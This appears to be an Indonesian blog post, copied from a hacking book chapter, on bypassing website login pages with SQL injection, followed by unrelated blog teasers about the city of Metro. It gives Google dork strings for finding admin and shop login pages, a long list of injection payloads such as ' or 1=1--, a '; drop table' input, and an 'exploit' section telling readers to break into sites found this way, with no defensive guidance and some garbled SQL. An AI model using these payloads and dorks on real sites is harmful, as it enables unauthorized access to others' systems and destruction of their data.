Langsung ke konten utama

Praktek Teknisi

Bypass halaman login



BAB 6
ByPass Halaman Login

Untuk mengakses suatu sistem, misalnya sebuah situs web, biasanya diperlukan proses login. Supaya hanya user yang sah atau berhak saja yang boleh memasuki situs web tersebut, hal ini ditandai dengan adanya kotak input username dan password. Hal ini bertujuan untuk memfilter dan mengenal identitas user yang memasuki sebuah sistem. Dalam bab ini, Anda akan mempelajari bagaimana menembus sebuah halaman login dengan teknik SQL Injection. Sebab, salah satu masalah utama dalam pemakaian SQL adalah adanya isi kelemahan pada halaman login.
Misalnya, Anda bisa melakukan searching dengan kata kunci berikut:
-          Admin.php
-          Admin.asp
-          Login.php
-          Login.asp

Dengan empat string di atas, Anda akan menemukan banyak halaman admin.

Pada halaman login, Anda bisa memasukkan kode perintah, misalnya:

User: admin
Pass:’ or 1=1—

Atau:

User name :  ‘or’=’
Password : ‘or’=’

Penjelasannya sperti ini:

Ketika input username  dan password diisi seperti di atas, maka yang terjadi pada proses  input adalah sebagai berikut:

Var sql = “select * from users where username = ‘ “ + username + “ ‘ and password = ‘ “ + password  +    ‘ “ ‘

Hal ini bisa terjadi karena, ketika input tersebut diproses  oleh sistem, yang terjadi adalah operasi tersebut dianggap valid.

Var sql = “select * from users where username = ‘ ‘ OR ‘ ‘ = ‘ ‘  and password = ‘ ‘ OR ‘ ‘=’ ‘ ;

Misalnya, sebuah database memiliki tabel dengan nama “user” dn memiliki “field” account dan password.

Account
Password
Admin
Pop3y3
Joko
Jack1


Kembali pada contoh kasus sewaktu seseorang memasukkan input berupa ‘OR”=’ baik pada bagian account maupun pada bagian password. Secara logika bisa kita lihat syntax SQL menjadi:

’’or’’=’’=’’ AND password=’’or’’=’’

Dalam SQL, fungsi logika OR untuk untuk mengembalikan nilai False menjadi True.

Mungkin ada di antara pembaca yang bertanya, bagaimana jika kita ingin login dengan account tertentu tetapi kita tidak mengetahui password-nya. Misalnya, anda ingin login dengan nama account ‘joko’ seperti yang terdapat pada tabel diatas.
Caranya dengan memasukkan input padatext box dengan ‘—sedangkan pada bagian password diisi dengan  ‘OR”=’

Jika dilihat padda synntax SQL , bentuknya adalah:

SELECT  * FROM user WHERE account=’joko’- -‘ AND password=’ ’or’ ’=’ ’

Fungsi pemakaian tanda double minus tentunya Anda sudah tahu, seperti yang telah dijelaskan pada bab sebelumnya. Pada beberapa kasus, tanda double minus juga bisa diganti dengan tanda # menjadi joko’#.
Sedangkan pada kotak isian password bisa diisi dengan bebas’ or ‘x’=’x’

Berikut penjelasannya. Sewaktu seseorang menekan tombol login maka SQL akan menjalankan query seperti berikut:
SELECT  * FROM user WHERE account=’joko’ AND password=’ bebas’ or ‘x’=’x’

Akibatnya pada bagian password akan terisi dengan nilai bebas. Tentu saja input ini bernilai salah  (false) dan menyebabkan seseorang tidak akan bisa login. Karena password tersebut tidak tersimpan pada database. Akan tetapi, perhatikan query lanjutannya, yaitu or ‘x’=’x. Artinya , sistem akan diberikan pilihan (fungsi OR). Jika sebelumnya, input password bernilai salah, maka dijalankan pilihan berikutnya yang sudah pasti benar karena adanya ‘x’=’x’. Sehingga seseorang bisa melakukan login dengan account joko.



Text Box: Intinya dari aksi dalam bab ini adalah bagaimana kita membuat atau memanipulasi query SQL menjadi bernilai true atau benar
 




           Berikut beberapa syntax yang sering digunakan dalam Google:
-          /admin.php
-          /login.php
-          /logon.php
-          /adminlogin.php
-          /adminlogon.php
-          /admin_login.php
-          /admin_logon.php
-          /admin/admin.php
-          /admin/login.php
-          /admin/logon.php
-          /admin/adminlogin.php
-          /admin/adminlogon.php
-          /admin/admin_login.php
-          /admin/admin_logon.php
-          /administrator/admin.php
-          /administrator/login.php
-          /administrator/logon.php
-          /reboot/login.php
-          /admin/index.php
Selain itu, Anda bisa langsung memasukkan syntax di atas, atau menggunakan tanda kutip, seperti: “/admin.asp”. Kalau perlu, Anda juga bisa menggunakan kombinasi dengan syntax-syntax untuk Google Dork, seperti allinurl:admin/index.asp.


Halaman yang akan muncul dari tindakan di atas, biasanya adalah halaman Login
.


Untuk dapat masuk ada banyak kode yang bisa digunakan, di antaranya:
Username:  ‘or’a’=’a
Password:  ‘or’a’=’a
Jika tidak berhasil maka kode tersebut divariasikan menjadi:
Username:  admin
Password:   ‘or’a’=’a



Berikut beberapa kode variasinya:


‘ or 0=0 - -
  ‘ or 0=0 - -
or 0=0 - -
  ‘ or  0=0 #
  ‘ or  0=0 #
or  0=0 #
‘ or  ‘x’=’x
‘ or  “x”=”x
‘) or ( ‘x’=’x
 ‘ or 1=1 - -
 ‘ or 1=1 - -
or 1=1 - -
 ‘ or a=a - -


  or  “a”=”a
 ‘ )  or  ( ‘a’=’a
“ )  or  ( “a”=”a
hi ”  )  or  “a”=”a
hi ” or 1=1 - -
hi ’  or 1=1 - -
hi ’  or   ‘a’=’a
hi ‘ ) or   ( ‘a’=’a
hi “) or   ( “a”=”a
‘=’
‘ LIKE ‘
‘ =0 - - +

Untuk jawaban kedua, misalnya kita menggunakan perintah ‘or’ 1=1 - - untuk inpiut account-nya sedangkan input password, kita misalkan menggunakan kata ‘free’.
Sewaktu input dari account atau username sebuah situs web dengan memasukkan string ‘or’ 1=1 - - hal ini akan membuat SQL menjadi bingung karena SQL membacanya:
SELECT  * FROM user WHERE account=”or 1=1 - - AND paswsword= ‘free’
Perlu anda ketahui juga bahwa aksi SQL injection melalui input box ini tidak hanya berlaku untuk melakukan aksi Login saja. Misalnya, anda bisa menggunakan perintah:
Username: ’; drop table userid- -
Password:
Dilihat dari cara kerjanya, perintah di atas akan bekerja:
Var sql = “select  * from userid where username = `’ drop table userid--











MODEL SERANGAN SEDERHANA

Contoh pemakaian double minus pada SQL Injection attack:
Username : admin’ - -

SELECT *  FROM members WHERE username = ‘admin’- - AND password= ‘password’

Fungsi perintah di atas akan membuat Anda bisa login sebagai admin.

Secara umum, untuk mencocokkan user yang login perintah SQL-nya adalah:

Select * from admin where username = input_username AND password = input_password

Conto soal:
Jika diketahui username adalah ‘administrator’, sedangkan password-nya adalah ‘heloworld’. Administrator berniat untuk login. Tentukan statement-nya?

Diketahui:
Username: administrator
Password: heloworld

Ditanyakan:

SQL statement= ...?

Penyelesaian:
Rumus:

SELECT * FROM admin WHERE username = input_username AND password = input_password

Masukkan yang diketahui ke dalam rumus, menjadi:

Select * from admin where username = ‘administrator’ and password = heloworld

Sekarang, saya akan memberikan ilustrasi sederhana, untuk pola lainnya. Misalnya dengan sebuah situs URL:

http://www.situs-target.com/category=buku




sekarang, kita asumsikan URL nya diganti menjadi:


Maka variabel v_cat sama dengan “buku” or 1=1- -“. Jika kita tukar dengan query SQL, jadinya:

SELECT * FROM Product WHERE Pcategory=’buku’ or 1=1- -‘

Selain beberapa kode di atas yang telah di bahas, Anda juga dapat menggunakan beberapa kemungkinan lain nya:




EXPLOIT ByPASS HALAMAN LOGIN
Subbab ini hanyalah bab tambahan dari saya, yaitu beberapa exploit yang berhubungan dengan SQL Injection untuk mem-bypass halaman login. Walaupun exploit itu adalah sesuatu yang kuno karena akan mudah di patch, setidaknya ini akan menambahkan pengetahuan Anda dalam hal kegiatan hacking menggunakan SQL Injection.

Gunakan syntax dibawah ini pada halaman pencarian Google untuk mencari situs web yang
 bisa Anda eksploitasi (exploit).

Syntax: inurl:”cart.php?m=”

Nantinya Anda akan menemukan situs target katakanlah:
Atau,

Dari situs target  yang Anda peroleh tersebut, hapuslah string:cart.php?m=product_list&c=10



Sekarang tambahkan kata admin dibelakangnya, menjadi: http://www.situs-target.com/admin





Untuk masuk pada situs web dengan model seperti ini Injection nya adalah :
Username: admin
Password:’or”=”

Syntax Google berikutnya yang bisa Anda coba adalah :
allinurl:shopadmin.asp



Di mana username dan password yang digunakan adalah:
Username: ‘or’1
Password:’or’1

Komentar

Postingan populer dari blog ini

Hunting Di Kota Metro

Sahabat Metro Techno Solution dikota metro kini sudah menjadi destinasi pengambilan gambar yang cukup indah dipandang mata, karena Kota Metro adalah salah satu kota di Provinsi Lampung dan Kota ini juga merupakan kota yang memiliki tingkat kemacetan dan kriminalitas paling rendah di Provinsi Lampung .  Wikipedia Ada beberapa tempat yang sahabat semua bisa kunjungi diantaranya: Taman Merdeka Kota Metro tempat ini merupakan salah satu kebanggan warga metro untuk menghabiskan akhir pekan Bersama keluarga,  teman, dan sahabat . Selain itu juga taman merdeka kota metro ini adalah tempat aktifitas olahraga dengan suasana alam yang masih asri dengan didampingi beberapa rumah dinas diantaranya walikota metro dan perkantoran pemerintah.    Keberadaan taman merdeka kota metro berada dijantung kota sehingga untuk mencapai kelokasi hanya cukup berjalan kaki saja. Samber Park  Kota Metro adalah salah satu ikon kota metro, dimana sebelumnya samber park adalah sebuah lapang...

PKL DI Metro Techno Solution

PKL DI Metro Techno Solution memberikan solusi kepada peserta yang ingin mencari pengalaman dan kesempatan untuk mengenal lebih jauh tentang DUNIA USAHA DAN INDUSTRI, selain itu juga peserta didik akan di bekali diantaranya : 1. akan di asah dan dilatih apa saja yang menjadi dasar untuk bisa bekerja sesuai dengan standar prusahaan dan kompetensi seperti apa yang di butuhkan. 2. menambahkan pengetahuan tentang bagaimana cara merawat dan maintenance perangkat hardware yang di miliki oleh tempat kerja dan cara mengatasi jika perangkat tersebut dibutuhkan secepatnya.     3. membentuk mental peserta didik untuk menghadapi resiko pekerjaan yang terkadang diluar dari target. 4. memberikan wawasan dan kreatifitas kepada peserta sehingga peserta PKL siap untuk menyelesaikan semua pekerjaan. dengan melihat persyaratan bekal diatas dapat disimpulkan bahwa siswa PKL harus diciptakan SDM handal untuk siap bersaing dengan dunia luar ataupun MEA.

KURSUS KOMPUTER DIKOTA METRO

    Kota Metro Kota Pendidikan salah satu kota di Provinsi Lampung yang memiliki fasilitas yang memadai, berbagai prestasi dibidang pendidikan, kesehatan, dan pelayanan perizinan. Kota Metro juga dikenal dengan kota pendidikan.      Terbukti dengan adanya LKP ( Lembaga Kursus dan Pelatihan ) yang didirikan oleh Bapak Adi Jaya Saputra, S. Kom, M. T. I  pada tanggal 28 Juli 2010 dan disahkan dengan pemikiran bahwa pendidikan di Kota Metro, khususnya di bidang komputer berbasis Open Source masih sangat minim sekali, padahal penggunanya masih bebas /free yang siapa saja bisa mengembangkan dan menggunakan tanpa harus membayar Software ( perangkat lunak ) sebagai alat pendukung dalam pengoperasian komputer. Inisiatif pendirian lembaga pendidikan ini juga merasa perlu untuk membentuk suatu wadah yang dapat membangun kemandirian, keahlian, kecerdasan dan aktifitas pendidikan serta terutama kemajuan dalam bidang pendidikan komputer berbasis Open Source. ...